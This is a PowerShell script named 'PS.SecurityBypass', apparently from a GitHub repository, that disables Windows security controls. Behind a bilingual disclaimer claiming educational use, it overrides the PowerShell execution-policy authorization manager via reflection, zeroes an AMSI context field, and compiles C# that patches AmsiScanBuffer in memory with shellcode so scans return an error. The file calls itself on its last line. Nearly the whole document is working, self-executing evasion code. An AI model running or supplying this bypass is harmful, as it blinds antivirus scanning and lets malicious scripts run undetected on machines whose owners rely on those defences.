# === Copyright (C) 20XX "PS.SecurityBypass" by zetod1ce [github.com/ztd38f] === # <# [!] ДИСКЛЕЙМЕР [!] Автор полностью отказывается от какой-либо ответственности за использование данного скрипта. Скрипт предоставляется "КАК ЕСТЬ", может быть изменён или дополнен в любое время без уведомления. Использование допускается только для личного обучения в строго контролируемой среде под надзором профессионалов. Всё использование осуществляется исключительно на ваш страх и риск. [!] DISCLAIMER [!] The author fully disclaims any responsibility for the use of this script. The script is provided "AS IS" and may be changed or updated at any time without notice. Use is permitted only for personal educational purposes in a strictly controlled environment under professional supervision. All use is entirely at your own risk. #> function PS.SecurityBypass { iex '((($x=$executionContext.GetType().GetField("_context",36).GetValue($executionContext)).GetType().GetFields(36)|?{$_.Name -like "*auth*"}).SetValue($x,(New-Object Management.Automation.AuthorizationManager Microsoft.PowerShell)))' iex '([Runtime.InteropServices.Marshal]::Copy([byte[]](@(0)*9),0,[IntPtr]((([Ref].Assembly.GetTypes()|?{$_.Name -like "*iu*"}).GetFields(40)|?{$_.Name -like "*ic*"})|%{$_.GetValue($null)}),9))' Add-Type @" using System; using System.Runtime.InteropServices; public class SB { [DllImport("kernel32.dll")] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll", CharSet = CharSet.Ansi)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] private static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); [DllImport("kernel32.dll")] private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); public static void X() { try { IntPtr hAmsi = GetModuleHandle("amsi.dll"); IntPtr scanFunc = GetProcAddress(hAmsi, "AmsiScanBuffer"); if (scanFunc != IntPtr.Zero) { IntPtr execMem = VirtualAlloc(IntPtr.Zero, 1024, 0x1000, 0x40); byte[] shellcode = {0x48, 0xB8, 0x57, 0x00, 0x07, 0x80, 0x00, 0x00, 0x00, 0x00, 0xC3}; Marshal.Copy(shellcode, 0, execMem, shellcode.Length); uint oldProtect; VirtualProtect(scanFunc, (uint)shellcode.Length, 0x40, out oldProtect); byte[] jmpCode = {0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0}; BitConverter.GetBytes(execMem.ToInt64()).CopyTo(jmpCode, 2); Marshal.Copy(jmpCode, 0, scanFunc, jmpCode.Length); VirtualProtect(scanFunc, (uint)shellcode.Length, oldProtect, out oldProtect); } } catch (Exception) {} } } "@; [SB]::X() }; PS.SecurityBypass